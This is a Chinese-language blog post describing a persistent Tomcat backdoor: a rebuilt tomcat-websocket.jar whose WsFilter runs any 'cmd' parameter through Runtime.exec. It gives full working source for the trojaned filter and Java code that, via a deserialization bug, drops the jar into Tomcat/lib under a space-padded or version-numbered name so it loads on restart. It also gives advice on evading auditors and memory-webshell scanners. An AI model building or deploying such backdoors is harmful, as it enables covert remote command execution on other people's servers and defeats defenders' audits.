介绍
今天研究内存马相关的东西,偶然间发现一处解析BUG
一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE
不一定算得上是漏洞,不过我还是向Tomcat发了邮件尝试
Tomcat果然拒绝了,原因是需要在其他漏洞的基础上触发
这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈
思路
思路来自于之前写的一篇文章:某知名Java框架内存马挖掘
从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中
换句话来说,是否能将恶意代码注入到Tomcat默认存在的Filter中呢
使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter
能否构造出一个恶意的WsFilter类注入到依赖库中
构造
在目标Tomcat/lib下找到tomcat-websocket.jar
找到WsFilter的代码,在doFilter中插入一些代码
我这里是简单的回显执行命令,也可以是一些其他逻辑
package org.apache.tomcat.websocket.server; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * Handles the initial HTTP connection for WebSocket connections. */ public class WsFilter implements Filter { private WsServerContainer sc; @Override public void init(FilterConfig filterConfig) throws ServletException { sc = (WsServerContainer) filterConfig.getServletContext().getAttribute( Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 不改变原有逻辑,在这里插入代码 String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.equals("")) { Process process = Runtime.getRuntime().exec(cmd); StringBuilder outStr = new StringBuilder(); response.getWriter().print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream()); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { outStr.append(s + "\n"); } response.getWriter().print(outStr.toString()); response.getWriter().print("</pre>"); } // This filter only needs to handle WebSocket upgrade requests if (!sc.areEndpointsRegistered() || !UpgradeUtil.isWebSocketUpgradeRequest(request, response)) { chain.doFilter(request, response); return; } // HTTP request with an upgrade header for WebSocket present HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; // Check to see if this WebSocket implementation has a matching mapping String path; String pathInfo = req.getPathInfo(); if (pathInfo == null) { path = req.getServletPath(); } else { path = req.getServletPath() + pathInfo; } WsMappingResult mappingResult = sc.findMapping(path); if (mappingResult == null) { // No endpoint registered for the requested path. Let the // application handle it (it might redirect or forward for example) chain.doFilter(request, response); return; } UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(), mappingResult.getPathParams()); } @Override public void destroy() { // NO-OP } }
编译WsFilter.java生成WsFilter.class字节码文件
然后使用手段把tomcat-websocket.jar里的WsFilter.class替换了
(压缩文件本身有替换功能,也可以使用工具重打包等)
这时候启动Tomcat发现一切正常,但已经存在了一个“永远”的Webshell
审计人员会想方设法审计项目代码本身,或者使用工具检查内存马是否存在
然而他们不会想到是Tomcat必须的WsFilter有问题
核心
以上逻辑看似合理,实际上有很大的问题:
依赖库在Tomcat运行的时候被占用不可修改,所以要停下Tomcat服务,然后才能替换依赖库
如果思路一直放在如何修改被占用的依赖库,那么这个问题是无解的
但我发现了一种巧妙的方法,来自于Tomcat对Jar包的特殊加载顺序
(这里是Windows Tomcat 8的测试环境,其他环境不确定有这样的顺序)
如果我在Tomcat/lib下复制一个tomcat-websocket.jar
区别在于.jar之前加入一个空格:tomcat-websocket .jar
这时候启动Tomcat会发现tomcat-websocket .jar被加载了
参考图片中的路径,其中包含%20
有了突破思路
利用
假设目前有一个反序列化漏洞触发点,我们首先要做的是给Tomcat/lib下添加恶意库
这个库可以由黑客自行构造,然后转成二进制数据传过去
try { // 从standardContext中得到的resource路径是tomcat/lib WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext(); String path = standardCtx.getClass().getClassLoader().getResource("").toString(); // 得到需要写入的文件路径tomcat/lib/tomcat-websocket .jar String finalPath = path.split("file:/")[1]+"tomcat-websocket .jar"; // 为了测试方便直接读了文件 // 实战中可以传过来base64的二进制数据(文件不是很大只有200K左右) byte[] data = Files.readAllBytes(Paths.get("C:/JavaCode/Tomcat/tomcat-websocket .jar")); // 写入目标路径 Files.write(Paths.get(finalPath),data); } catch (Exception e) { e.printStackTrace(); }
暂时是无法触发的,不过如果程序添加新的功能或者特殊情况,一定会重启
(其实服务端的Tomcat重启概率不算低,很多情况都会重启)
重启后会加载恶意的tomcat-websocket .jar文件,这时候已经实现了顽固的内存马
攻击方可以守株待兔时不时尝试下/xxx.jsp?cmd=whoami看结果,一旦有结果说明有重启,加载了恶意jar
经过测试,发现.等情况也会导致这种问题,不过暂时没有做深入的研究
如下图,防守方在审计时,看到FilterName和FilterClass都是Tomcat自带的,FilterClassFile位于Tomcat/lib下的,是没有什么问题的
面多众多的Filter和Servlet情况下,很难会想到是WsFilter出的问题
后来测试发现了一种进一步隐藏的方式:
黑客可以获取路径得到tomcat版本,比如我这里的8.5.72,分割路径即可获得字符串
然后给新jar包命名位tomcat-websocket-8.5.72.jar
相对于加个.或者空格,这种做法更为隐蔽